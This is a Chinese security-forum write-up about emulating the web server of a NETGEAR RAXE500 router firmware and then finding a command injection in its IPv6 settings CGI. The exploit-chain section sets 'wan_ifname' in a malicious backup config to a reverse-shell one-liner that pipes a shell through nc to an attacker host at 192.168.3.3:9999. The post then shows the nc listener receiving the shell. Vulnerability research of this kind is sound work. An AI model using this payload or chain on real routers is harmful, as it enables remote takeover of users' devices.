找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2629

积分

0

好友

364

主题
发表于 10 小时前 | 查看: 0| 回复: 0

环境配置

版本: NETGEAR Nighthawk AX12 RAXE500 V1.2.14.114_2.0.67

首先,使用 binwalk 解压固件文件。

# binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            Flattened device tree, size: 969 bytes, version: 17
1030          0x406           Flattened device tree, size: 9970 bytes, version: 17
42870         0xA776          CRC32 polynomial table, little endian
703534        0xABC2E         CRC32 polynomial table, little endian

WARNING: Extractor.execute failed to run external extractor ‘lzop -f -d ‘%e’’: [Errno 2] No such file or directory: ‘lzop‘, ‘lzop -f -d ‘%e’’ might not be installed correctly
761969        0xBA071         LZO compressed data
836250        0xCC29A         HTML document header
836500        0xCC394         HTML document footer
836532        0xCC3B4         HTML document header
837187        0xCC643         HTML document footer
837211        0xCC65B         HTML document header
838626        0xCCBE2         HTML document footer
838650        0xCCBFA         HTML document header
839246        0xCCE4E         HTML document footer
957782        0xE9D56         Flattened device tree, size: 5913 bytes, version: 17
963698        0xEB472         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes
4587594       0x46004A        Flattened device tree, size: 49513 bytes, version: 17
4637110       0x46C1B6        Flattened device tree, size: 49513 bytes, version: 17
4686626       0x478322        Flattened device tree, size: 47694 bytes, version: 17
4734322       0x483D72        Flattened device tree, size: 50144 bytes, version: 17
4784466       0x490152        Flattened device tree, size: 50144 bytes, version: 17
4834610       0x49C532        Flattened device tree, size: 49601 bytes, version: 17
4884214       0x4A86F6        Flattened device tree, size: 49633 bytes, version: 17
4933850       0x4B48DA        Flattened device tree, size: 49557 bytes, version: 17
4983410       0x4C0A72        Flattened device tree, size: 49677 bytes, version: 17
5033090       0x4CCC82        Flattened device tree, size: 47733 bytes, version: 17
5080826       0x4D86FA        Flattened device tree, size: 48647 bytes, version: 17
5129474       0x4E4502        Flattened device tree, size: 48802 bytes, version: 17
5178278       0x4F03A6        Flattened device tree, size: 48802 bytes, version: 17
5227082       0x4FC24A        Flattened device tree, size: 48767 bytes, version: 17
5275850       0x5080CA        Flattened device tree, size: 48767 bytes, version: 17
5324618       0x513F4A        Flattened device tree, size: 48767 bytes, version: 17
5373386       0x51FDCA        Flattened device tree, size: 50605 bytes, version: 17
5423994       0x52C37A        Flattened device tree, size: 50605 bytes, version: 17
5474602       0x53892A        Flattened device tree, size: 50412 bytes, version: 17
5525014       0x544E16        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 78884152 bytes, 3245 inodes, blocksize: 131072 bytes, created: 2025-05-16 08:07:54

解压完成后,进入 squashfs-root 目录,使用 chroot 命令切换到固件环境。

# sudo chroot . bin/sh

BusyBox v1.31.1 (2025-05-16 15:16:50 CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

# ls -la
drwxrwxrwx   22 1000     1000          4096 May 16  2025 .
drwxrwxrwx   22 1000     1000          4096 May 16  2025 ..
-rw-r--r--    1 1000     1000             0 May 16  2025 .init_enable_core
drwxr-xr-x    2 1000     1000          4096 May 16  2025 bin
drwxrwxr-x    3 1000     1000          4096 May 16  2025 data
lrwxrwxrwx    1 1000     1000            16 May 16  2025 debug -> sys/kernel/debug
drwxrwxr-x    3 1000     1000          4096 May 16  2025 dev
drwxr-xr-x   20 1000     1000          4096 May 16  2025 etc
drwxrwxr-x    3 1000     1000          4096 May 16  2025 home
drwxrwxr-x    2 1000     1000          4096 May 16  2025 include
drwxrwxr-x    6 1000     1000         20480 May 16  2025 lib
drwxrwxr-x    3 1000     1000          4096 May 16  2025 lib64
drwxr-xr-x    2 1000     1000          4096 May 16  2025 misc2
drwxr-xr-x    2 1000     1000          4096 May 16  2025 misc3
drwxrwxr-x    2 1000     1000          4096 May 16  2025 mnt
drwxrwxr-x    9 1000     1000          4096 May 16  2025 opt
drwxrwxr-x    2 1000     1000          4096 May 16  2025 proc
drwxr-xr-x    2 1000     1000          4096 May 16  2025 sbin
drwxr-xr-x    6 1000     1000          4096 May 16  2025 share
drwxrwxr-x    3 1000     1000          4096 May 16  2025 sys
lrwxrwxrwx    1 1000     1000             8 May 16  2025 tmp -> /var/tmp
drwxr-xr-x   10 1000     1000          4096 May 16  2025 usr
drwxrwxr-x    2 1000     1000          4096 May 16  2025 var
drwxrwxr-x    3 1000     1000          4096 May 16  2025 webs
drwxr-xr-x   11 1000     1000         32768 May 16  2025 www
#

此时,如果直接运行 usr/sbin/httpd 会报错。需要参考 etc/init.d/mount-fs.sh 脚本中的命令,创建必要的目录环境。

# usr/sbin/httpd

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
/tmp/shm_id opened error!

首先,创建缺失的目录。

# mkdir -p /var/log /var/run /var/state/dhcp /var/ppp /var/udhcpd /var/zebra /var/siproxd /var/cache /var/tmp /var/samba /var/samba/share /var/samba/homes /var/samba/private /var/samba/locks

再次运行 httpd,出现了新的错误,提示需要将 /tmp/shm_id 文件中的值修改为 0

# usr/sbin/httpd

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
segment_id: 5 , in /tmp/shm_id.
Get a incorrect Segment_ID: 5 and semaphore ID:-1
something wrong in getting shm_id.

修改后,再次运行仍然报错,出现了大量 CGI 处理器未找到的警告,并最终段错误退出。

# usr/sbin/httpd

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
segment_id: 0 , in /tmp/shm_id.
 Get a correct Segment_ID: 0 and semaphore ID:0
Can‘t find handler for ASP command: wlg_cgi_get_isolation_status(0);
...(大量类似省略)...
# can‘t open mtd file!!
...(大量类似省略)...
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

证书配置

通过 GDB 调试,发现程序在启动时尝试加载 SSL 证书,但 tmp_h_c 变量值为空,导致相关检查失败。

SSL证书检查代码截图

分析相关代码发现,启动 httpd 需要添加 -E 参数来指定证书和私钥文件。

/usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

启动参数解析代码截图

按照要求添加参数后再次运行,却提示生成 RSA 私钥失败,错误信息指向随机数生成问题。

# /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

libacos_debug_log build time: Feb 17 2022 18:15:22
****shared_debug_log_init(82): Open shm for shm httpd_httpd_mt fail, create it.

libhttpd build time: Jan 11 2024 09:55:00
Generating a RSA private key
Error Generating Key
1082140528:error:0E06D06C:lib(14):func(109):reason(108):NA:0:group=req name=default_bits
...(后续错误信息省略)...

检查 /dev 目录,发现模拟环境中缺少 /dev/random/dev/urandom 设备,这导致了系统熵不足。解决方法是将宿主机的 /dev 目录绑定挂载到模拟环境。

# sudo mount -o bind /dev ./dev/

再次执行启动命令,httpd 服务成功运行,证书文件也成功生成在 /tmp/ 目录下。

# /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

libacos_debug_log build time: Feb 17 2022 18:15:22

libhttpd build time: Jan 11 2024 09:55:00
Generating a RSA private key
................................................+++++
..............+++++
writing new private key to ‘/tmp/h.k‘
-----
...(启动日志省略,最终成功监听端口)...

NVRAM模拟

虽然 httpd 进程成功运行,但通过浏览器访问管理界面时,请求会被直接返回,无法进入页面。查看 httpd 的输出日志,可以看到关键提示:isToRouter = 0: return

 is_no_boarddata():can‘t open file /misc2/.bd_data
add active user:, sessionId:0x0, cookie:0
/usr/sbin/httpd(pid=5145) is calling shared_acos_nvram_commit:
...(省略)...
===> parse_http_request(3103) isToRouter = 0:return

分析对应代码,发现程序需要从 NVRAM 中读取 ddns_hostname 等配置值进行校验。

NVRAM配置读取代码截图

这意味着我们需要模拟路由器的 NVRAM 配置系统。具体来说,需要一个 nvram.ini 格式的配置文件,以及一个能够 Hook(拦截并模拟) acosNvramConfig_* 系列函数的共享库(SO)。

NVRAM相关函数列表截图

我们可以编写一个简单的 acosNvramConfig.c 文件,模拟关键的 get 等函数,从本地的 /tmp/route.cfg 配置文件中读取键值对。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
#include <errno.h>

// 假设配置文件路径
#define ROUTE_CONFIG_PATH “/tmp/route.cfg“
#define MAX_LINE_LENGTH 256
#define MAX_KEY_LENGTH 64
#define MAX_VALUE_LENGTH 128

// 函数声明
char *nvm_get_value(const char *key);
char *nvm_get_value_no_alloc(const char *key, char *buffer, size_t buffer_size);
代码太长,省略...

/tmp/route.cfg 是一个简单的键值对文本文件,内容示例如下:

fw_spi=1
usb_info_dev7=A200396E0402FF83@1@14.4G@U@1@USB_Storage;U:;0;0@
http_server_wan_enable=0
wifi_mac12=62:c0:02:11:22:33
...(更多配置项)...

使用交叉编译工具链将该 C 文件编译为动态库。

# arm-linux-gnueabi-gcc -shared -fPIC acosNvramConfig.c -o acosNvramConfig.so -ldl

将编译好的 acosNvramConfig.so 放到固件环境的 lib 目录下。同时,需要更新 route.cfg,将 lan_ipaddr 的值修改为本机地址 127.0.0.1,然后通过 LD_PRELOAD 环境变量加载我们的模拟库来启动 httpd

# LD_PRELOAD=acosNvramConfig.so /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem

启动后访问 http://127.0.0.1/,页面返回了新的错误:Device is not authorized!

设备未授权检查代码截图

错误源于一个全局变量 dword_1439FA4,其值由 is_authorized() 函数设置。

is_authorized函数调用截图

进一步分析 libacos_nvram.so 中的 is_authorized 函数,发现其逻辑是读取 NVRAM 中的 board_id,并与一个预定义的硬件 ID 列表(如 U12H444U12H49 等)进行比较。

board_id校验代码截图

通过搜索固件中的字符串,可以确定该型号路由器有效的 board_id 值,例如 U12H449T00_NETGEAR

board_id候选值代码截图

/tmp/route.cfg 配置文件中添加 board_id=U12H449T00_NETGEAR 后,再次启动服务。此时访问 http://127.0.0.1/start.htm,成功加载了路由器的 WEB 管理登录界面。

NETGEAR路由器管理界面截图

至此,一个完整的 NETGEAR 路由器 WEB 服务模拟环境已经搭建成功,这为后续的安全研究与漏洞分析奠定了基础。

漏洞分析

在成功模拟环境并访问管理界面后,我们开始分析固件中的潜在漏洞。重点关注一个与 IPv6 设置相关的功能点。

在访问 ipv6_disable.cgi 时,逆向出的关键代码如下:

v11 = (const char *)acosNvramConfig_get((int)“wan_ifname“);
snprintf(s, 0x80u, “ifconfig %s mtu %d“, v11, v9);
system(s);

这段代码从 NVRAM 中读取 wan_ifname 的值,直接拼接进 system() 函数执行的命令字符串中,存在明显的命令注入风险。

命令注入点代码截图

那么,如何控制 wan_ifname 的值呢?通过分析,发现路由器提供了通过 WEB 界面恢复备份配置文件的功能(/BAK_backup.htm)。相关上传和处理代码逻辑如下:

备份文件上传处理代码截图
固件升级与配置恢复代码截图

最终,恢复配置的操作会调用 libacos_nvram.so 中的 shared_acos_nvram_restore_configuration 函数,该函数仅仅是将上传的配置文件压缩包复制到指定位置。

NVRAM配置恢复函数代码截图

漏洞利用链梳理:

  1. 攻击者可以构造一个恶意的备份配置文件(route.cfg),在其中设置 wan_ifname 的值为注入的命令,例如:wan_ifname=eth0;rm /tmp/f 2>/dev/null; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.3.3 9999 > /tmp/f&
  2. 通过 WEB 界面的备份恢复功能上传该恶意配置。
  3. 当用户(或攻击者诱导用户)访问 IPv6_disable.htm 页面并点击 Apply 按钮时,触发了上述存在命令注入的代码。
  4. system() 函数执行了拼接后的恶意命令,导致反弹 Shell 建立。

漏洞复现验证:

首先,在攻击机(192.168.3.3)上开启 nc 监听。

# nc -lvvp 9999
Listening on 0.0.0.0 9999

然后,在模拟的 WEB 界面中访问 https://127.0.0.1/IPV6_disable.htm 页面。

IPv6设置页面截图

点击 Apply 按钮后,观察监听终端,成功获取到了来自路由器模拟环境的反弹 Shell。

成功获取反向Shell的终端截图

这个漏洞的挖掘过程,深刻体现了嵌入式设备安全中常见的几个问题:不可信的用户输入直接进入系统命令、配置恢复功能缺乏严格的校验、以及网络服务与系统层的不当交互。希望这次在模拟环境中的实践分析,能为相关领域的安全研究提供一些参考。更多深入的技术讨论,欢迎访问云栈社区的嵌入式安全板块。




上一篇:AI时代自媒体内容创作方法论:五个核心心法与实操技巧
下一篇:Cloudflare WAF零日漏洞分析:攻击者如何利用ACME HTTP-01挑战路径绕过防护
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-24 17:28 , Processed in 0.235628 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表